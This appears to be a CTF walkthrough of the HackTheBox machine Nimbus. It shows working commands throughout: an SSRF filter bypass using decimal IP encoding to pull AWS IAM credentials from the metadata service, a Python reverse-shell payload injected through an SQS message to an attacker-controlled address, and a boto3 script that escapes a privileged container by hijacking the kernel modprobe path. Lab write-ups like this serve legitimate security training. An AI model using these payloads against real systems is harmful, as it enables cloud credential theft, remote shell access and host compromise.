← Back to CTF
HTB Medium 2 min read

Nimbus

Walkthrough of the HackTheBox machine Nimbus: bypassing an SSRF blocklist with decimal IP encoding to steal AWS IAM credentials from the instance metadata service, injecting a malicious job into an SQS queue whose worker executes it as Python code, then escaping a privileged Docker container via LocalStack CodeBuild and the kernel modprobe path.

HackTheBoxSSRFIMDSAWSSQSLocalStackDocker EscapemodprobeCodeBuild
Platform HackTheBox Difficulty Medium Author Rana Uzair Ahmad
Nimbus

Enumeration

$ nmap -sC -sV -Pn 10.129.x.x
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp open  http    nginx 1.24.0 (Nimbus  Internal Job Scheduler)

Adding nimbus.htb and aws.nimbus.htb to /etc/hosts. The /api/v1/health endpoint exposes the queue backend and confirms an SQS target at aws.nimbus.htb. The /jobs/preview endpoint fetches a user-supplied URL server-side — an SSRF candidate.

$ curl -s http://nimbus.htb/api/v1/health
{"queue":"http://aws.nimbus.htb","scheduler":"running","storage":"s3","version":"1.4.2"}

Foothold

SSRF filter bypass

The /jobs/preview endpoint blocks 169.254.169.254 and common variants, and requires the URL to end in .yaml. Both filters are defeated: append ?x=.yaml to satisfy the extension check, and use the decimal representation of the IMDS address (2852039166):

$ curl -s -X POST http://nimbus.htb/jobs/preview \
  --data-urlencode 'url=http://2852039166/latest/meta-data/?x=.yaml'
ami-id
iam/
instance-id

Stealing IAM credentials

$ curl -s -X POST http://nimbus.htb/jobs/preview \
  --data-urlencode 'url=http://2852039166/latest/meta-data/iam/security-credentials/?x=.yaml'
nimbus-web-role

$ curl -s -X POST http://nimbus.htb/jobs/preview \
  --data-urlencode 'url=http://2852039166/latest/meta-data/iam/security-credentials/nimbus-web-role?x=.yaml'
{
  "AccessKeyId":     "ASIAQX4PG7L2...",
  "SecretAccessKey": "bXJ7K8mP/q2Hf+vN9wT4...",
  "Token":           "IQoJb3JpZ2lu..."
}

SQS code injection

$ export AWS_ACCESS_KEY_ID="ASIAQX4PG7L2..."
$ export AWS_SECRET_ACCESS_KEY="bXJ7K8mP/q2Hf+vN9wT4..."
$ export AWS_SESSION_TOKEN="IQoJb3JpZ2lu..."
$ export AWS_DEFAULT_REGION=us-east-1
$ export AWS_ENDPOINT_URL=http://aws.nimbus.htb

$ aws sqs list-queues
{"QueueUrls": ["http://aws.nimbus.htb/847219365028/nimbus-jobs"]}

The role has SendMessage on the queue. The worker executes the script field as Python via subprocess.run. Inject a reverse shell:

$ aws sqs send-message \
  --queue-url "http://aws.nimbus.htb/847219365028/nimbus-jobs" \
  --message-body '{
    "job_id": "pwn-001",
    "name": "test",
    "script": "import socket,subprocess,os,pty; s=socket.socket(); s.connect((\"10.10.14.x\",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn(\"/bin/bash\")"
  }'

worker@e1bb370cd21d:/app$ cat ~/user.txt
<REDACTED>

Privilege Escalation

Container escape via LocalStack CodeBuild + modprobe

From inside the container, LocalStack is reachable at 172.18.0.2 with no authentication. The CodeBuild service is running.

worker@e1bb370cd21d:/app$ curl -s http://floci:4566/health
{"services":{"codebuild":"running","s3":"running","sqs":"running"}}

Create a privileged CodeBuild project whose buildspec overwrites /proc/sys/kernel/modprobe with a payload path, then triggers execution by running an invalid ELF:

import boto3

cb = boto3.client('codebuild', endpoint_url='http://floci:4566', region_name='us-east-1',
                  aws_access_key_id='test', aws_secret_access_key='test')

buildspec = """
version: 0.2
phases:
  build:
    commands:
      - UPPER=$(cat /proc/mounts | grep overlay | grep -oP 'upperdir=\\K[^,]+')
      - mkdir -p $UPPER/tmp
      - printf '#!/bin/sh\\ncp /root/root.txt /tmp/root.txt\\nchmod 777 /tmp/root.txt\\n' > $UPPER/tmp/payload.sh
      - chmod +x $UPPER/tmp/payload.sh
      - echo "$UPPER/tmp/payload.sh" > /proc/sys/kernel/modprobe
      - printf '\\xff\\xff\\xff\\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x || true
"""

cb.create_project(
    name='escape',
    source={'type': 'NO_SOURCE', 'buildspec': buildspec},
    artifacts={'type': 'NO_ARTIFACTS'},
    environment={
        'type': 'LINUX_CONTAINER',
        'image': 'floci/floci:latest',
        'computeType': 'BUILD_GENERAL1_SMALL',
        'privilegedMode': True
    },
    serviceRole='arn:aws:iam::000000000000:role/codebuild'
)

cb.start_build(projectName='escape')
worker@e1bb370cd21d:/app$ cat /tmp/root.txt
<REDACTED>

// Discussion

Enjoyed this? Let us work together.

I am open to security internships and junior roles.